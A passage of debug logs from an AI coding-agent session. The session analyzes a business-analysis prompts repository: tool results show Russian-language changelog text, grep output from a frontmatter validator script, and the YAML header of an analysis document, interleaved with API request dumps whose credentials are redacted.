\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0443 (dogfood \u043d\u0430 \u0441\u0435\u0441\u0441\u0438\u0438 1027)\\n  [`runs/2026/RUN-0007/outputs/fr-generation-1027-live_2026-06-16.md`](runs/2026/RUN-0007/outputs/fr-generation-1027-live_2026-06-16.md).\\n- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0430\u0443\u0434\u0438\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432\\n  [`docs/audit/audit-contracts-2026-06-17.md`](docs/audit/audit-contracts-2026-06-17.md):\\n  \u0440\u0435\u0432\u0438\u0437\u0438\u044f `AI_GOVERNANCE.md`, `CONTRIBUTING.md` \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f,\\n  \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u0435\u043b\u044b (\u043d\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e\u0442\u043b\u0430\u0434\u043a\u0438/RFC/\u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u0432 \u043f\u0440\u0438\u0451\u043c\u043a\u0438 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432).\\n- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0430\u0443\u0434\u0438\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\\n  [`docs/audit/audit-research-1027.md`](docs/audit/audit-research-1027.md):\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0442\u044b \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437 H1\u2013H4, \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 O1\u2013O3 \u0438\\n  \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 (ADR #3\u2013#8).\\n- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n  [`standards/prompt-debugging-process.md`](standards/prompt-debugging-process.md)\\n  \u0438 \u0440\u0435\u0435\u0441\u0442\u0440 RFC [`docs/rfc/rfc-register.md`](docs/rfc/rfc-register.md):\\n  \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u00ab\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u2192 RFC \u2192 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u2192 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u00bb.\\n\\n### Added \u2014 Issue #97 \u0444\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 \u0411\u0410 \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432 (Creative + Research)\\n\\n- \u0424\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f \u0411\u0410 (\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u2194 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2194 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f) \u0438 \u0432\u044b\u043f\u0443\u0449\u0435\u043d \u043d\u0430\u0431\u043e\u0440\",\n[2026-09-29T07:46:34.196Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:34.196Z] [INFO]       }\n[2026-09-29T07:46:34.196Z] [INFO]     ]\n[2026-09-29T07:46:34.196Z] [INFO]   },\n[2026-09-29T07:46:34.196Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:34.196Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:34.196Z] [INFO]   \"uuid\": \"a097a58c-606e-41cf-9ce7-8e9ed26016b2\",\n[2026-09-29T07:46:34.196Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:34.000Z\",\n[2026-09-29T07:46:34.196Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:34.196Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:46:34.196Z] [INFO] }\n[2026-09-29T07:46:34.205Z] [STDOUT] [log_0be5d3] sending request {\n[2026-09-29T07:46:34.210Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:34.216Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:34.219Z] [STDOUT]   options: {\n[2026-09-29T07:46:34.225Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:34.229Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:34.236Z] [STDOUT]     body: {\n[2026-09-29T07:46:34.240Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:34.243Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:34.247Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:34.253Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:34.264Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:34.268Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:34.276Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:34.283Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:34.287Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:34.290Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:34.294Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:34.298Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:34.302Z] [STDOUT]     },\n[2026-09-29T07:46:34.304Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:34.308Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:34.313Z] [STDOUT]       [Symbol(events.maxEventTargetListeners)]: 50,\n[2026-09-29T07:46:34.318Z] [STDOUT]       [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:46:34.323Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:34.327Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:34.331Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:34.336Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:34.341Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:34.344Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:34.348Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:34.354Z] [STDOUT]     },\n[2026-09-29T07:46:34.359Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:34.363Z] [STDOUT]   },\n[2026-09-29T07:46:34.365Z] [STDOUT]   headers: {\n[2026-09-29T07:46:34.367Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:34.373Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:34.378Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:34.382Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:34.384Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:34.390Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:34.395Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:34.410Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:34.413Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:34.422Z] [STDOUT]     \"x-claude-code-agent-id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:46:34.428Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:46:34.433Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1775\",\n[2026-09-29T07:46:34.436Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:34.441Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:46:34.447Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:34.453Z] [STDOUT]     \"x-client-request-id\": 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[\n[2026-09-29T07:46:34.750Z] [INFO]       {\n[2026-09-29T07:46:34.750Z] [INFO]         \"tool_use_id\": \"toolu_01M4jAFx9qrtRpxzhWwNZqoW\",\n[2026-09-29T07:46:34.750Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:34.750Z] [INFO]         \"content\": \"11:  \\\"status\\\"\\n14:  \\\"temperature\\\"\\n150:    *:status | *:version | *:updated | *:temperature)\\n156:    knowledge:owner | knowledge:type | knowledge:context | knowledge:method | knowledge:scope | \\\\\\n159:    knowledge:external_artifacts | knowledge:based_on | knowledge:report-subtype | \\\\\\n160:    knowledge:analysis-subtype | knowledge:supersedes)\\n163:    audit:owner | audit:type | audit:context | audit:method | audit:scope | \\\\\\n175:    rfc:type | rfc:context | rfc:method | rfc:scope | rfc:source | \\\\\\n179:    adr:owner | adr:decision-type | adr:executable | adr:entrypoint | \\\\\\n184:    standard:level | standard:concept_type | standard:related_standards | \\\\\\n212:    default:type | default:context | default:method | default:related_artifacts | \\\\\\n222:validate_status() {\\n233:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid knowledge status '$value' (expected one of: draft, reviewed, canonical, superseded)\\\"\\n244:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid governance status '$value' (expected one of: draft, proposed, accepted, rejected, deprecated, superseded)\\\"\\n255:      error \\\"$path\\\" \\\"$line\\\" \\\"invalid status '$value' (expected a controlled lifecycle status)\\\"\\n268:    status)\\n269:      validate_status \\\"$path\\\" \\\"$class\\\" \\\"$line\\\" \\\"$value\\\"\\n284:    temperature)\\n286:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid temperature '$value' (expected number from 0 to 2)\\\"\\n288:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid temperature '$value' (expected number from 0 to 2)\\\"\\n319:    decision-type)\\n324:          error \\\"$path\\\" \\\"$line\\\" \\\"invalid decision-type '$value' (expected one of: governance, methodology, product, curriculum, runtime)\\\"\\n462:  if [[ \\\"$class\\\" == \\\"adr\\\" && -z \\\"${lines[decision-type]+set}\\\" ]]; then\\n463:    error \\\"$path\\\" 1 \\\"missing required frontmatter field for ADR artifact: decision-type\\\"\\n485:    find \\\"$target\\\" -type f -name '*.md' | sort\\n---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: analysis\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n\\n\u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\\n[issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639)\\n\u043f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620):\\nCline \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439. \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Source\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0451 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0434\u043b\u044f\\n\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u041f\u0443\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442,\\n\u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 Cline, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25 \u2014 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n\u0441\u0438\u043b\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b:\\n[\u00ab\u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u043f\u0430\u043a\u0435\u0442 Cline VS Code\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\",\n[2026-09-29T07:46:34.750Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:34.750Z] [INFO]       }\n[2026-09-29T07:46:34.750Z] [INFO]     ]\n[2026-09-29T07:46:34.750Z] [INFO]   },\n[2026-09-29T07:46:34.750Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:46:34.750Z] [INFO]   \"session_id\": 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standard:related_standards | \\\\\\n212:    default:type | default:context | default:method | default:related_artifacts | \\\\\\n222:validate_status() {\\n233:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid knowledge status '$value' (expected one of: draft, reviewed, canonical, superseded)\\\"\\n244:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid governance status '$value' (expected one of: draft, proposed, accepted, rejected, deprecated, superseded)\\\"\\n255:      error \\\"$path\\\" \\\"$line\\\" \\\"invalid status '$value' (expected a controlled lifecycle status)\\\"\\n268:    status)\\n269:      validate_status \\\"$path\\\" \\\"$class\\\" \\\"$line\\\" \\\"$value\\\"\\n284:    temperature)\\n286:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid temperature '$value' (expected number from 0 to 2)\\\"\\n288:        error \\\"$path\\\" \\\"$line\\\" \\\"invalid temperature '$value' (expected number from 0 to 2)\\\"\\n319:    decision-type)\\n324:          error \\\"$path\\\" \\\"$line\\\" \\\"invalid decision-type '$value' (expected one of: governance, methodology, product, curriculum, runtime)\\\"\\n462:  if [[ \\\"$class\\\" == \\\"adr\\\" && -z \\\"${lines[decision-type]+set}\\\" ]]; then\\n463:    error \\\"$path\\\" 1 \\\"missing required frontmatter field for ADR artifact: decision-type\\\"\\n485:    find \\\"$target\\\" -type f -name '*.md' | sort\\n---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: analysis\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n\\n\u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\\n[issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639)\\n\u043f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620):\\nCline \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439. \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Source\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0451 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0434\u043b\u044f\\n\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u041f\u0443\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442,\\n\u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 Cline, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25 \u2014 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n\u0441\u0438\u043b\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b:\\n[\u00ab\u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u043f\u0430\u043a\u0435\u0442 Cline VS Code\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\",\n[2026-09-29T07:46:34.750Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:46:34.750Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:46:34.750Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:46:34.750Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:46:34.750Z] [INFO]   }\n[2026-09-29T07:46:34.750Z] [INFO] }\n[2026-09-29T07:46:34.782Z] [STDOUT] [log_e7ccb8] sending request {\n[2026-09-29T07:46:34.784Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:34.789Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:34.793Z] [STDOUT]   options: {\n[2026-09-29T07:46:34.796Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:46:34.799Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:46:34.802Z] [STDOUT]     body: {\n[2026-09-29T07:46:34.805Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:46:34.811Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:46:34.814Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:46:34.818Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:46:34.820Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:46:34.823Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:46:34.827Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:46:34.831Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:46:34.837Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:46:34.842Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:46:34.851Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:46:34.858Z] [STDOUT]       stream: true,\n[2026-09-29T07:46:34.861Z] [STDOUT]     },\n[2026-09-29T07:46:34.868Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:46:34.874Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:46:34.879Z] [STDOUT]       aborted: false,\n[2026-09-29T07:46:34.889Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:46:34.893Z] [STDOUT]       onabort: null,\n[2026-09-29T07:46:34.897Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:46:34.902Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:46:34.905Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:46:34.912Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:46:34.919Z] [STDOUT]     },\n[2026-09-29T07:46:34.923Z] [STDOUT]     stream: true,\n[2026-09-29T07:46:34.928Z] [STDOUT]   },\n[2026-09-29T07:46:34.931Z] [STDOUT]   headers: {\n[2026-09-29T07:46:34.942Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:46:34.946Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:46:34.950Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:46:34.953Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:46:34.957Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:46:34.960Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:46:34.964Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:46:34.967Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:46:34.971Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:46:34.975Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1401\",\n[2026-09-29T07:46:34.983Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:46:34.987Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:46:34.990Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:34.995Z] [STDOUT]     \"x-client-request-id\": \"1c2d2178-cf73-4dd5-b1a0-c17e2578f176\",\n[2026-09-29T07:46:34.998Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:35.005Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:35.008Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:35.012Z] [STDOUT]     \"x-stainless-package-version\": 